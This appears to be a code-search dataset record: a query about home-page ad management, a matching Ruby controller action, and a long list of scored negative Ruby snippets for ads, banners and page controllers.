i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n f_store = lines[current_line += 1]\n f_heap = lines[current_line += 1]\n text = \"[#{var}] := #{exp}\"\n ret_array.push Stage.new i_heap, i_store, f_heap, f_store, text\n current_line += 1\n when \"conditional\"\n bool = lines[current_line += 1]\n i_store = lines[current_line += 1]\n i_heap = lines[current_line += 1]\n prog = lines[current_line += 1]\n text = \"if #{bool} (taking branch: #{prog})\"\n ret_array.push Stage.new i_heap, i_store, i_heap, i_store, text\n current_line += 1\n else\n raise \"command did not match\"\n end\n else\n raise \"line #{lines[current_line]} didn't match\"\n end\n end\n ret_array\nend", "def parse( argv )\n self.data = ::Crate.data_path\n opts = option_parser\n begin\n opts.parse!( argv )\n self.project = argv.shift\n\n if project.nil?\n puts opts\n exit 1\n end\n rescue ::OptionParser::ParseError => pe\n puts \"#{opts.program_name}: #{pe}\"\n puts \"Try `#{opts.program_name} --help` for more information\"\n exit 1\n end\n end", "def dump\n puts \"#{self}:\"\n puts\n\n puts \"fil header:\"\n pp fil_header\n puts\n\n puts \"fil trailer:\"\n pp fil_trailer\n puts\n end" ]
[ "0.61019415", "0.581704", "0.58068043", "0.5750443", "0.56978065", "0.5506315", "0.548784", "0.54501534", "0.5434926", "0.5398954", "0.5338516", "0.5315678", "0.52658504", "0.5259087", "0.5259087", "0.5207675", "0.5193938", "0.51726544", "0.51682174", "0.51467574", "0.5143361", "0.51351863", "0.51297355", "0.51288843", "0.51256394", "0.5116642", "0.5116642", "0.5116642", "0.5115519", "0.5111708", "0.5108456", "0.509875", "0.5098584", "0.50933504", "0.50879115", "0.5076499", "0.50743574", "0.50643605", "0.5058512", "0.50500494", "0.50418323", "0.5030907", "0.50243384", "0.5019268", "0.5015296", "0.5015287", "0.5004329", "0.49989522", "0.49901298", "0.49897358", "0.49878067", "0.4981468", "0.49813792", "0.49723697", "0.49538848", "0.49530646", "0.49527717", "0.49479276", "0.49479136", "0.49472672", "0.49406767", "0.49385253", "0.49370492", "0.49285737", "0.49169958", "0.4914551", "0.4903846", "0.49020904", "0.49012426", "0.48995516", "0.48982885", "0.4897089", "0.4884005", "0.48751697", "0.48662665", "0.4859695", "0.48594457", "0.48550972", "0.48524204", "0.485143", "0.48508742", "0.48443595", "0.48416108", "0.48403805", "0.48399523", "0.48395434", "0.4839082", "0.48355186", "0.48325905", "0.48323053", "0.48307478", "0.48283362", "0.48283362", "0.48283362", "0.48136067", "0.48134306", "0.4808732", "0.48055252", "0.48045257", "0.48030844" ]
0.6969858
0
home page default ads management
def index @home_page = DefaultAd.find(1) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def home\n error_404 unless (@page = Page.where(:link_url => '/').first).present?\n @banners = Banner.order('position ASC')\n #@banners = defined?(Banner).blank? ? [] : Banner.all\n end", "def index\n @ad_banners = AdBanner.all\n @pages = Page.all\n end", "def index\n \tset_user\n @ads = get_all_ads\n end", "def advertisement\n if @advertising_platform.active?\n if @banner = @advertising_platform.view_relevant_banner\n render layout: false\n return\n end\n end\n render nothing: true, status: 401\n end", "def home\n @events = Event.published.confirmed.ordered.tease\n @teaser = Teaser.current.limit(1).first\n @sponsors = Sponsor.order(\"position\").all\n @about = Content.find_by_id(6)\n @donate = Content.find_by_id(7)\n render :layout => \"homepage\"\n end", "def index\n @admin_advertises = Admin::Advertise.order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 12)\n\n session[:urlBack] = request.original_url\n end", "def index\n @bottom_ads = BottomAd.all\n end", "def app_landing\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all \n end", "def index\n @slider_ads = SliderAd.order(id: :desc).page(params[:page]).per(25)\n end", "def index\n @admin_advertisements = Advertisement.all \n if @admin_advertisements.size == 0\n flash[:notice] = \"No hay anuncios\"\n end\n @page_subtitle = \"Listado de anuncios\"\n end", "def set_ads\n if (rand(3) == 1)\n @ads = [\"adsense\"]\n else\n @ads = [\"paypal\"]\n end\n end", "def index \n @banners = Banner.for_admin\n end", "def index\n \t@categories = Category.all\n \t@ads = Ad.all\n end", "def main_homepage\n\t\t\t@section = Section.homepage\n\t\t\t@main_homepage = @page = Asset.find_by_section_id_and_resource_type(@section.id, 'Homepage')\n\t\t\t@is_homepage = true\n\t\t\thomepage\n end", "def place_ad_for_today\n copy_image\n update_page_heading\n end", "def home\n params[:lang] ||= 'English'\n if params[:category].blank? or params[:category].downcase.eql? 'all'\n @matches = Match.homepage\n else\n @matches = Match.homepage.category(params[:category])\n end\n\n if params[:news_category].blank? or params[:news_category].downcase.eql? 'all'\n @articles = Article.approved.front_page.get_lang(params[:lang]).news_category(NewsCategory.first.id)\n else\n @articles = Article.approved.front_page.get_lang(params[:lang]).news_category(params[:news_category])\n end\n\n @momentnews = Article.approved.get_lang(params[:lang]).news_of_the_moment\n @blogs = Blog.all :limit => 5, :include => [:user, :slug]\n if params[:video_category].nil? or params[:video_category].eql? 'all'\n @videos = Video.all :limit => 3, :include => :user\n else\n @videos = Video.find_by_video_category_id(params[:video_category], :limit => 3, :include => :user)\n end\n @albums = Album.all :limit => 6, :include => :user, :order => 'created_at DESC'\n @advert = Advert.random('main_page')\n @latest_posts = Post.all :limit => 12, :order => 'updated_at DESC'\n end", "def home\n @page = Page.find_or_create_by(name: \"home\")\n @images = Dir.glob(\"app/assets/images/home_banner/cropped/*.jpg\")\n @twitter_client = get_twitter_client\n end", "def index\n if current_user.try(:admin?)\n @advertisements = Advertisement.page(params[:page]).per(10).order(\"updated_at DESC\")\n else\n @advertisements = Advertisement.where(state: \"published\").page(params[:page]).per(10).order(\"updated_at DESC\")\n end\n end", "def index\n @ads = @org.ads\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html \n end\nruby_code_from_view.ruby_code_from_view do |rb_from_view|\n home_url \n csrf_meta_tag \n page_title \n if @meta \n @meta.each do |key| \n key[1] \n key[0] \n end \n end \n if @rss_title && @rss_url \n auto_discovery_link_tag(:rss, @rss_url, {:title => @rss_title}) \n end \n stylesheet_link_tag 'community_engine' \n if forum_page? \n unless @feed_icons.blank? \n @feed_icons.each do |feed| \n auto_discovery_link_tag :rss, feed[:url], :title => \"Subscribe to '#{feed[:title]}'\" \n end \n end \n end \n yield :head_css \n \n unless configatron.auth_providers.facebook.key.blank? \n \n end \n link_to configatron.community_name, home_path, :class => 'navbar-brand' \n \n if current_page?(site_clippings_path) \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :clippings.l, site_clippings_path \n \n if params[:controller] == 'events' \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :events.l, events_path \n \n if params[:controller] == 'forums' \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :forums.l, forums_path \n \n if current_page?(popular_path) \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :popular.l, popular_path \n \n if current_page?(users_path) || (params[:controller] == 'users' && !@user.nil? && @user != current_user) \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :people.l, users_path \n \n if @header_tabs.any? \n for tab in @header_tabs \n link_to tab.name, tab.url \n end \n end \n if logged_in? \n if current_user.unread_messages? \n if params[:controller] == 'messages' \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n user_messages_path(current_user) \n current_user.unread_message_count \n fa_icon \"envelope inverse\" \n end \n end \n \n \n \n render_jumbotron \n container_title \n \n @page_title=@ad.name \n link_to :back.l, ads_path, :class => 'btn btn-default' \n link_to :edit.l, edit_ad_path(@ad), :class => 'btn btn-warning' \n link_to :destroy.l, ad_path(@ad), data: { confirm: :are_you_sure.l }, :method => :delete, :class => 'btn btn-danger' \n :name.l \n h @ad.name \n :html.l \n raw @ad.html \n :frequency.l \n h @ad.frequency \n :published.l \n @ad.published? \n :run.l \n h @ad.time_constrained? ? \"#{@ad.start_date.to_formatted_s(:long)} - #{@ad.end_date.to_formatted_s(:long)}\" : 'n/a' \n :location.l \n h @ad.location \n render_widgets \n \n if show_footer_content? \n image_tag 'spinner.gif', :plugin => 'community_engine' \n :loading_recent_content.l \n end \n \n :community_tagline.l \n javascript_include_tag 'community_engine' \n tiny_mce_init_if_needed \n if show_footer_content? \n end \n \n yield :end_javascript \n\nend\n\n end", "def index\n @manage_advertisements = ManageAdvertisement.all\n end", "def create\n @ad = Ad.new(ad_params)\n\n respond_to do |format|\n if @ad.save\n flash[:notice] = :ad_was_successfully_created.l\n format.html { redirect_to ad_url(@ad) }\n else\n format.html { ruby_code_from_view.ruby_code_from_view do |rb_from_view|\n home_url \n csrf_meta_tag \n page_title \n if @meta \n @meta.each do |key| \n key[1] \n key[0] \n end \n end \n if @rss_title && @rss_url \n auto_discovery_link_tag(:rss, @rss_url, {:title => @rss_title}) \n end \n stylesheet_link_tag 'community_engine' \n if forum_page? \n unless @feed_icons.blank? \n @feed_icons.each do |feed| \n auto_discovery_link_tag :rss, feed[:url], :title => \"Subscribe to '#{feed[:title]}'\" \n end \n end \n end \n yield :head_css \n \n unless configatron.auth_providers.facebook.key.blank? \n \n end \n link_to configatron.community_name, home_path, :class => 'navbar-brand' \n \n if current_page?(site_clippings_path) \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :clippings.l, site_clippings_path \n \n if params[:controller] == 'events' \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :events.l, events_path \n \n if params[:controller] == 'forums' \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :forums.l, forums_path \n \n if current_page?(popular_path) \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :popular.l, popular_path \n \n if current_page?(users_path) || (params[:controller] == 'users' && !@user.nil? && @user != current_user) \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :people.l, users_path \n \n if @header_tabs.any? \n for tab in @header_tabs \n link_to tab.name, tab.url \n end \n end \n if logged_in? \n if current_user.unread_messages? \n if params[:controller] == 'messages' \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n user_messages_path(current_user) \n current_user.unread_message_count \n fa_icon \"envelope inverse\" \n end \n end \n \n \n \n render_jumbotron \n container_title \n \n @page_title=:new_ad.l \n link_to :back.l, ads_path, :class => 'btn btn-default' \n bootstrap_form_for(@ad, :layout => :horizontal) do |f| \n f.text_field :name \n f.text_area :html, :class => \"rich_text_editor\" \n f.select :frequency, Ad.frequencies_for_select \n f.select :audience, Ad.audiences_for_select \n f.form_group :ad_time_constrained do \n f.check_box :published, :label => :published.l + '?' \n f.check_box :time_constrained, :label => :time_constrained.l + '?' \n end \n @ad.time_constrained? ? 'block' : 'none' \n f.datetime_select :start_date \n f.datetime_select :end_date \n \n f.text_field :location \n f.primary :save.l \n end \n \n render_widgets \n \n if show_footer_content? \n image_tag 'spinner.gif', :plugin => 'community_engine' \n :loading_recent_content.l \n end \n \n :community_tagline.l \n javascript_include_tag 'community_engine' \n tiny_mce_init_if_needed \n if show_footer_content? \n end \n \n \n\nend\n }\n end\n end\n end", "def homepage\n end", "def homepage\n end", "def first_mandate\n # renders static page\n end", "def index\n @advertisements = Advertisement.all\n end", "def index\n @advertisements = Advertisement.all\n end", "def index\n @advertises = Advertise.all\n end", "def index\n @advertises = Advertise.all\n end", "def home\n @happykid = OpeningTime.all\n @promo = Promo.all\n @news = News.all\n\n @meta = News.last\n\n @siteinfo = SiteInfo.all\n \n end", "def index\n @search = Ad.search(params[:q])\n @result = @search.result\n @ads = @result.order('created_at DESC').distinct\n @ads = @result.page(params[:page]).per(15)\n\n respond_to do |format|\n format.html\n end\nruby_code_from_view.ruby_code_from_view do |rb_from_view|\n home_url \n csrf_meta_tag \n page_title \n if @meta \n @meta.each do |key| \n key[1] \n key[0] \n end \n end \n if @rss_title && @rss_url \n auto_discovery_link_tag(:rss, @rss_url, {:title => @rss_title}) \n end \n stylesheet_link_tag 'community_engine' \n if forum_page? \n unless @feed_icons.blank? \n @feed_icons.each do |feed| \n auto_discovery_link_tag :rss, feed[:url], :title => \"Subscribe to '#{feed[:title]}'\" \n end \n end \n end \n yield :head_css \n \n unless configatron.auth_providers.facebook.key.blank? \n \n end \n link_to configatron.community_name, home_path, :class => 'navbar-brand' \n \n if current_page?(site_clippings_path) \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :clippings.l, site_clippings_path \n \n if params[:controller] == 'events' \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :events.l, events_path \n \n if params[:controller] == 'forums' \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :forums.l, forums_path \n \n if current_page?(popular_path) \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :popular.l, popular_path \n \n if current_page?(users_path) || (params[:controller] == 'users' && !@user.nil? && @user != current_user) \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n link_to :people.l, users_path \n \n if @header_tabs.any? \n for tab in @header_tabs \n link_to tab.name, tab.url \n end \n end \n if logged_in? \n if current_user.unread_messages? \n if params[:controller] == 'messages' \n css_class = 'active' \n else \n css_class = 'inactive' \n end \n css_class \n user_messages_path(current_user) \n current_user.unread_message_count \n fa_icon \"envelope inverse\" \n end \n end \n \n \n \n render_jumbotron \n container_title \n \n @page_title = :ads.l \n widget do \n :admin.l \n link_to_unless_current :features.l, homepage_features_path \n link_to_unless_current :categories.l, categories_path \n link_to_unless_current :metro_areas.l, metro_areas_path \n link_to_unless_current :events.l, admin_events_path \n link_to_unless_current :statistics.l, statistics_path \n link_to_unless_current :ads.l, ads_path \n link_to_unless_current :comments.l, admin_comments_path \n link_to_unless_current :tags.l, admin_tags_path \n link_to_unless_current :admin_pages.l, admin_pages_path \n link_to_unless_current :members.l, admin_users_path \n if @admin_nav_links.any? \n @admin_nav_links.each do |link| \n link_to link[:name], link[:url] \n end \n end \n link_to :cache_clear_link.l, admin_clear_cache_path, data: { confirm: :are_you_sure.l } \n end \n \n :search.l \n bootstrap_form_for @search, :url => ads_path, :layout => :horizontal do |f| \n f.text_field :name_start, :label => :name.l \n f.text_field :location_cont, :label => :location.l \n f.form_group :submit_group do \n f.primary :search.l \n end \n end \n sort_link @search, :name, :name.l \n sort_link @search, :published, :published.l \n sort_link @search, :location, :location.l \n :actions.l \n for ad in @ads \n link_to h(ad.name), ad_path(ad) \n h ad.published? \n h ad.location \n link_to :show.l, ad_path(ad), :class => 'btn btn-default' \n link_to :edit.l, edit_ad_path(ad), :class => 'btn btn-warning' \n link_to :delete.l, ad_path(ad), data: { confirm: :are_you_sure.l }, :method => :delete, :class => 'btn btn-danger' \n end \n paginate @ads, :theme => 'bootstrap' \n link_to :new_ad.l, new_ad_path, :class => 'btn btn-success' \n render_widgets \n \n if show_footer_content? \n image_tag 'spinner.gif', :plugin => 'community_engine' \n :loading_recent_content.l \n end \n \n :community_tagline.l \n javascript_include_tag 'community_engine' \n tiny_mce_init_if_needed \n if show_footer_content? \n end \n \n yield :end_javascript \n\nend\n\n end", "def index\n @advertisements = Advertisement.page(params[:page])\n end", "def index\n @adsses = Adss.all\n end", "def index\n @tbl_slide_settings = TblSlideSetting.all\n session[:fromaddslidebanner]=0\n end", "def home\n\t\t# Home Page\n\tend", "def index\n @menu = \"board\"\n @board = \"banner\"\n @section = \"index\"\n \n @banner_left = Banner.all(:location => \"left\", :order => [:order])\n @banner_center = Banner.all(:location => \"center\", :order => [:order])\n @banner_right = Banner.all(:location => \"right\", :order => [:order])\n \n render 'banner' \n end", "def index\n @ads = Ad.where(user: current_user).order(\"title\")\n end", "def home\n @title = \"Home\"\n @user = current_user unless current_user.nil?\n if signed_in?\n \n @athlete = Athlete.new\n @roster_items = current_user.roster.paginate(:page => params[:page])\n\n @spampost = Spampost.new\n @spamfeed_items = Spampost.limit(5) \n end\n end", "def index\n @ads = Ad.find_all_by_account_id(session[:account_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n end\n end", "def home_page\n nil\n end", "def homepage\n end", "def homepage\n end", "def index\n if !current_user.try(:admin?)\n @event = Event.new\n end\n @ad = Ad.order(\"RANDOM()\").first\n @open_ad = true\n end", "def index\n if (current_user && !current_user.advertiser?)\n @advertisements = Advertisement.find_recommendations_for(current_user)\n \n @advertisements += Advertisement.for_homepage(current_user).excluding_ids(@advertisements.collect(&:id))\n else\n @advertisements = Advertisement.for_homepage(current_user)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @advertisements }\n end\n end", "def index\n\t\t@page = ContentPage.find_by_home(true)\n\tend", "def new\n\n\t\tif session[:user_id] == '' || session[:user_id] == nil\n\t\t redirect_to '/login'\n\t\telse\n\t\t#Gets all sites for a particular users \n @sites = Site.where(advertiserId: session[:user_id],siteStatus:\"active\")\n\t\t#Gets all banner sizes for validations\n @bannersizes = Bannersizes.find(:all)\n\t\tsrc = Tagaly3::SRC\n\t\t@uri = URI.parse(src)\n\t\thttp = Net::HTTP.new(@uri.host,@uri.port)\n\t\trequest = Net::HTTP::Get.new(\"/adexchange/publisher/adUnit/adUnitSize\")\n\t\tresponse = http.request(request)\n\t\t#Gets all adunit sizes that are there for a native adunits\n\t\t@adunitSizes=JSON.parse(response.body)\n\t\t\n\t\t#### Get campaigns list for the minimum bid strategy suggestion\n\t\t@siteId=session[:site_id]\n\t\tsrc = Tagaly3::SRC\n\t\t@uri = URI.parse(src)\n\t\thttp = Net::HTTP.start(@uri.host,@uri.port)\n\t\trequest = Net::HTTP::Get.new(\"/adexchange/advertiser/campaign/list/#{@siteId}\")\n\t\tresponse = http.request(request)\n\t\t@campaigns=JSON.parse(response.body)\n \n\t\t@userId = session[:user_id]\n\t\trequest = Net::HTTP::Get.new(\"/adexchange/advertiser/advertisement/list/#{@userId}\")\n\t\tresponse = http.request(request)\n\t\t@allAds=JSON.parse(response.body)\n #render text: @campaigns\n\t\tif session[:site_id].present?\n\t\t\tif params[:frame] == \"frame\"\n\t\t\t\trender 'new' , :layout => false\n\t\t\tend\n\t\telse\n\t\t flash[:notice] = \"Please add your site details before creating an ad.\"\n\t\t session[:return_to]=\"/ads/?adtype=all\"\n\t\t redirect_to '/publishersites/new'\n\t\tend\n end\n\tend", "def admin_index\n return if !user_is_allowed('pages', 'view') \n @domain = Domain.where(:domain => request.host_with_port).first\n @home_page = @domain ? Page.index_page(@domain.site_id) : nil\n if @domain && @home_page.nil?\n @home_page = Caboose::Page.create(:site_id => @domain.site_id, :parent_id => -1, :title => 'Home')\n end\n render :layout => 'caboose/admin' \n end", "def home\r\n \r\n end", "def index\n @adverts = Advert.paginate(:page => params[:page], :per_page => 10).order('id DESC').accessible_by(current_ability)\n end", "def home\n\t\t\n\tend", "def home\n\t\t\n\tend", "def home\n # check if signed_in and then display (you are currently signed in, view your profile)\n # automatically renders page 'users/home'\n if signed_in?\n redirect_to current_user\n else\n @event = Event.find(ENV['demopage'].to_i)\n @event_code = @event.event_code\n @url = demo_record_vg_url(:event_code => @event.event_code)\n\n\n @first_plan = Plan.find_by_my_plan_id(plan_set_one) # sets @first_plan the first plan object ACCORDING TO MY LEGEND (with my_plan_id)\n @second_plan = Plan.find_by_my_plan_id(plan_set_two)\n @third_plan = Plan.find_by_my_plan_id(plan_set_three)\n render :unsigned_home, :layout => nil\n end\n\n end", "def dashboard\n @meta_data = {:page_title => \"Chicago Ideas Week | Dashboard\", :og_image => \"\", :og_title => \"Chicago Ideas Week\", :og_type => \"article\", :og_desc => \"\"}\n @user = current_user\n end", "def index\n @cms_home_banners = Cms::HomeBanner.all.order(visible_finish_at: :asc)\n end", "def index\n @ads = Ad.all.ultimos\n end", "def show\n\n @skip_footer_for_home = true\n\n end", "def index\n @advertisements = Advertisement.all\n @advertisements = Advertisement.where(\"user_id = ?\", current_user.id)\n end", "def index\n @admin_og_main_pages = Admin::OgMainPage.all\n end", "def index\n\tif params[:category_id]\n\t @ads = Ad.where(category_id: params[:category_id])\n\telse\n\t @ads = Ad.all\n\tend\n end", "def home #display the home page of the candidate, has options to search\n end", "def show\n @presentation = Presentation.in_conference(current_conference).\n find(params[:id])\n set_menu(@presentation.is_poster? ? :posters : :sessions)\n restrict_disclosure(@presentation)\n # Move @more_like_this to inside the cache because slow\n\n if !@presentation.session.ad_category.blank?\n @ads = Presentation::Ad.in_conference(current_conference).\n where(:ad_category => @presentation.session.ad_category).\n select{|ad| !ad.title.blank?}\n else\n @ads = []\n end\n end", "def landing\n end", "def landing\n end", "def index\n @buy_ads = BuyAd.all\n end", "def index\n @facebook_ads = FacebookAd.all\n end", "def index\n @adms = Adm.all\n end", "def index\n \n if params[:comapny_id].present?\n @advertisements = @user.advertisements.paginate(:page => params[:page], :per_page => 10)\n else\n @advertisements = current_user.advertisements.paginate(:page => params[:page], :per_page => 10)\n end\n \n end", "def banner_ad\r\n\t\tbanner_ads = \r\n\t\t['<a href=\"http://www.anrdoezrs.net/click-6185997-10660760\" target=\"_top\"><img src=\"http://www.ftjcfx.com/image-6185997-10660760\" width=\"728\" height=\"90\" alt=\"728x90: Free trial\" border=\"0\"/></a>',\r\n\t\t '<a href=\"http://www.anrdoezrs.net/click-6185997-10660758\" target=\"_top\"><img src=\"http://www.lduhtrp.net/image-6185997-10660758\" width=\"728\" height=\"90\" alt=\"728x90: Free trial\" border=\"0\"/></a>',\r\n\t\t '<a href=\"http://www.tkqlhce.com/click-6185997-10660751\" target=\"_top\"><img src=\"http://www.lduhtrp.net/image-6185997-10660751\" width=\"728\" height=\"90\" alt=\"728x90: Free trial\" border=\"0\"/></a>',\r\n\t\t '<a href=\"http://www.anrdoezrs.net/click-6185997-10880818\" target=\"_top\"><img src=\"http://www.ftjcfx.com/image-6185997-10880818\" width=\"728\" height=\"90\" alt=\"14 Day Free Trial \" border=\"0\"/></a>',\r\n\t\t '<a href=\"http://www.jdoqocy.com/click-6185997-10660719\" target=\"_top\"><img src=\"http://www.ftjcfx.com/image-6185997-10660719\" width=\"728\" height=\"90\" alt=\"728x90_Genes Reunited\" border=\"0\"/></a>',\r\n\t\t '<a href=\"http://www.dpbolvw.net/click-6185997-10931192\" target=\"_top\"><img src=\"http://www.tqlkg.com/image-6185997-10931192\" width=\"728\" height=\"90\" alt=\"\" border=\"0\"/></a>',\r\n\t\t '<a href=\"http://www.jdoqocy.com/click-6185997-10931171\" target=\"_top\"><img src=\"http://www.lduhtrp.net/image-6185997-10931171\" width=\"728\" height=\"90\" alt=\"\" border=\"0\"/></a>',\r\n\t\t '<a href=\"http://www.kqzyfj.com/click-6185997-10931162\" target=\"_top\"><img src=\"http://www.tqlkg.com/image-6185997-10931162\" width=\"728\" height=\"90\" alt=\"\" border=\"0\"/></a>']\r\n\r\n\t\treturn banner_ads[rand(banner_ads.count)].html_safe\r\n\tend", "def index\n @ad_holders = AdHolder.all\n end", "def index\n @facebookads = Facebookad.all\n end", "def advert(driver)\n raise Error.new(ARGUMENT_UNDEFINE, :values => {:variable => \"driver\"}) if driver.nil?\n link = nil\n links = []\n count_try = 0\n adverts = []\n begin\n DOMAINS.each { |domain|\n frame = driver.domain(domain)\n\n if frame.domain_exist?\n adverts += frame.link(\"/.*googleads.g.doubleclick.net.*/\").collect_similar\n adverts += frame.link(\"/.*googleadservices.*/\").collect_similar\n adverts.each{|a| @@logger.an_event.debug \"advert : #{a.text}\"}\n links += adverts\n else\n @@logger.an_event.debug \"frame with domain <#{domain}> not exist\"\n end\n=begin\n adverts.map! { |f|\n href = f.fetch(\"href\")\n frame.link(href) unless /.*googleads.g.doubleclick.net.*/.match(href).nil?\n }.compact!\n=end\n }\n raise \"no advert link found\" if links.empty?\n\n rescue Exception => e\n @@logger.an_event.warn \"#{e.message}, try #{count_try}\"\n sleep 5\n count_try += 1\n retry if count_try < 3\n @@logger.an_event.error e.message\n raise Error.new(NONE_ADVERT, :error => e)\n\n else\n @@logger.an_event.info \"count advert #{self.class.name} links : #{links.size}\"\n link = links.sample\n @@logger.an_event.debug \"advert link chosen #{link}\"\n\n end\n\n link\n\n end", "def home \n\tend", "def index\n @ad_crawling_dbs = AdCrawlingDb.all\n end", "def home\n # do nothing\n end", "def index\n @random_image_number = 1\n unless cookies[:add_image_number].nil?\n @random_image_number = cookies[:add_image_number].to_i == 3 ? 1 : cookies[:add_image_number].to_i + 1\n end\n cookies[:add_image_number] = @random_image_number\n # Set meta tags for main_site layout\n set_meta_tags :title => 'Contact Us, Software Development Company India - Zapbuild',\n :description => 'Offshore website development company, Zapbuild is headquartered in Mohali. Zapbuild Technologies is one of the leading web development companies in Chandigarh, India.',\n :keywords => 'web development company India, software development company India, software development company Chandigarh, offshore web development company Mohali, custom web application development India, android app development India, iphone app development India, open source website development India' \n @contact = Contact.new\n end", "def index\n @banners = Banner.all\n end", "def home\n if user_signed_in?\n\n if current_user.connection_valid?\n @favorites = current_user.favorites\n @queries = current_user.queries\n @keytech_username = current_user.keytech_username\n # Load Dashboard async in javascript\n render 'home'\n else\n render 'invalid_login'\n end\n else\n\n # User is not signed in in platform\n render 'landing_page'\n end\n end", "def set_cms_home_banner\n @cms_home_banner = Cms::HomeBanner.find(params[:id])\n end", "def index\n if params[:tag]\n @adverts = Advert.tagged_with(params[:tag]).paginate(page: params[:page], per_page: 3)\n elsif params[:query]\n @adverts = Advert.custom_search(params[:query]).page(params[:page]).per_page(3)\n else\n @adverts = Advert.paginate(page: params[:page], per_page: 3)\n end\n end", "def index\n@magazine = Magazine.find_by_id(params[:magazine_id])\n@ads = @magazine.ads\nend", "def home\n # Grab 50 posts so that you'll always have at loast 5 sports posts (hopefully)\n all_posts = Refinery::Blog::Post.where(\"published_at < ?\", Time.now).limit(50)\n @posts = all_posts.reject { |p| p.categories.first && (p.categories.first.title == \"Sports\" || p.categories.first.title == \"News\") }\n @sports = all_posts.select { |p| p.categories.first && p.categories.first.title == \"Sports\" }\n @news = all_posts.select { |p| p.categories.first && p.categories.first.title == \"News\" }\n render_with_templates?\n end", "def show\n @advert = Advert.find(params[:id])\n @lead = @advert.leads.new\n\n redirect_to :root if !@advert.approved? and !owner_of?(@advert)\n\n end", "def home\n\tend", "def home\n end", "def home\n end", "def home\n end", "def home\n end", "def index\n @adverts = Advert.all\n end", "def home\n @static_page = StaticPage.preload_for(:content).find_by(role: :home)\n # return unless stale?(@static_page)\n\n set_custom_splash\n set_metadata(@static_page)\n end", "def home\n @static_page = StaticPage.preload_for(:content).find_by(role: :home)\n # return unless stale?(@static_page)\n\n set_custom_splash\n set_metadata(@static_page)\n end", "def index\n @adhubs = Adhub.all\n @comments = Comment.all\n end", "def set_page_defaults\n @site_defaults = SiteConfiguration.all\n @page_title ||= 'Aeromotion Pages'\n @seo_keywords ||= 'Aeromotion, Tutorials, Workouts, Best Trainings, Free Videos, Personal, Best'\n end", "def landing\n \n end", "def landing\n \n end" ]
[ "0.6816975", "0.6763372", "0.6579762", "0.64423555", "0.63973284", "0.630541", "0.62575495", "0.6228657", "0.61972076", "0.61972076", "0.61972076", "0.61972076", "0.61972076", "0.6191948", "0.618928", "0.61436754", "0.610948", "0.60918", "0.6087822", "0.60848874", "0.60753614", "0.60713637", "0.6002006", "0.59587073", "0.5945717", "0.59350103", "0.5929063", "0.5907733", "0.5877547", "0.5877547", "0.5851979", "0.58397865", "0.58397865", "0.58393025", "0.58393025", "0.58314466", "0.5829876", "0.581511", "0.5810469", "0.58053255", "0.5801929", "0.5801871", "0.58015937", "0.57753944", "0.5765072", "0.57636714", "0.5759411", "0.5759411", "0.5740759", "0.57394344", "0.5737324", "0.57275033", "0.5710535", "0.57089835", "0.5685589", "0.568385", "0.568385", "0.5683652", "0.5677213", "0.5674179", "0.56679636", "0.56666005", "0.5664423", "0.5656295", "0.56532097", "0.5645005", "0.56215966", "0.5612198", "0.5612198", "0.5610018", "0.5604684", "0.5603497", "0.5599962", "0.55787224", "0.5570332", "0.5568492", "0.556326", "0.5557254", "0.55542237", "0.55439425", "0.55357295", "0.5534284", "0.5530183", "0.5528178", "0.552746", "0.5521176", "0.55167514", "0.55114245", "0.5503351", "0.5502254", "0.5502254", "0.5502254", "0.5502254", "0.5498824", "0.549745", "0.549745", "0.5494796", "0.5492446", "0.5492164", "0.5492164" ]
0.7642998
0
stories page default page ads managment
def stories_page @stories_page = DefaultAd.find(2) @stories_page_left_top = DefaultAd.find(3) @stories_page_left_bottom = DefaultAd.find(4) @stories_page_right = DefaultAd.find(5) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @home_page = DefaultAd.find(1) \nend", "def index\n @ad_banners = AdBanner.all\n @pages = Page.all\n end", "def index\n @story_pages = StoryPage.all\n end", "def pages; end", "def index\n @slider_ads = SliderAd.order(id: :desc).page(params[:page]).per(25)\n end", "def place_ad_for_today\n copy_image\n update_page_heading\n end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def page; end", "def current_page_setter\n @current_page = :user_stories\n end", "def pages\n end", "def index\n # description of @stories is not necessary - it is handled by decent_exposure\n end", "def home\n @events = Event.published.confirmed.ordered.tease\n @teaser = Teaser.current.limit(1).first\n @sponsors = Sponsor.order(\"position\").all\n @about = Content.find_by_id(6)\n @donate = Content.find_by_id(7)\n render :layout => \"homepage\"\n end", "def home\n error_404 unless (@page = Page.where(:link_url => '/').first).present?\n @banners = Banner.order('position ASC')\n #@banners = defined?(Banner).blank? ? [] : Banner.all\n end", "def stories ; @stories || get_stories ; end", "def stories ; @stories || get_stories ; end", 